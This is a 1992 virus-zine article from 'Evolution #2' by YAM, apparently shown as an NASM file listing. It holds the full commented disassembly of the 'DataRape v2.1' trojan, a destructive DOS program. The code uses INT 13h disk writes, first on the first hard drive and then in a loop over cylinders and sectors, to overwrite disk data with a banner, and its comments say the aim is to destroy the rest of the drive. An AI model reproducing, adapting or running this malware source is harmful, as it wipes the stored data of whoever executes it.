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86 lines
2.8 KiB
NASM
86 lines
2.8 KiB
NASM
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
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Article Title: Data Rape v2.1 Trojan
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Author: Admiral Bailey
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;=---
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;
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; DataRape 2.1 Trojan
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;
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; Disassembled By Admiral Bailey [YAM '92]
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; June 25, 1992
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;
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; The writers of this virus are Zodiac and Data Disruptor
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;
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; Notes:Just a regular trojan. This one puts the messege into the
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; sector it writes. Even though its not advanced it gets the
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; job done.
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;
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;=---------
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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datarap2 proc far
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start:
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jmp begin
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messege db '----------------------------',0Dh,0ah
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db ' DataRape v2.1 ',0dh,0ah
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db ' Written by Zodiac and ',0dh,0ah
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db ' Data Disruptor ',0dh,0ah
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copyright db '(c) 1991 RABID International',0dh,0ah
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db '----------------------------',0dh,0ah
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sector db 1
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data_3 db 0
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begin:
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mov ah,0Bh ; write sectors
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mov al,45h ; sectors to write to
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mov bx,offset messege ; writes this messege
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mov ch,0 ; clear out these
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mov cl,0
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mov dh,0
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mov dl,80h ; drive
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int 13h
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jnc write_loop ; nomatter what jump to
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jc write_loop ; the write loop and
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jmp short write_loop ; destroy rest of drive
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nop
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compare:
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mov sector,1 ; start writing at sec1
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inc data_3
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jmp short loc_4
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db 90h
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write_loop:
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cmp data_3,28h
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jae quit
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cmp sector,9
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ja compare
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loc_4:
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mov ah,3 ; write sec's from mem
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mov al,9 ; #
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mov bx,offset messege ; this is in mem
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mov ch,data_3 ; cylinder
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mov cl,sector ; sector
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mov dh,0 ; drive head
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mov dl,2 ; drive
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int 13h
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inc sector ; move up a sector
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jmp short write_loop
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db 73h, 02h, 72h, 00h
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quit:
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mov ax,4C00h
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int 21h ; now quit
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datarap2 endp
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seg_a ends
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end start
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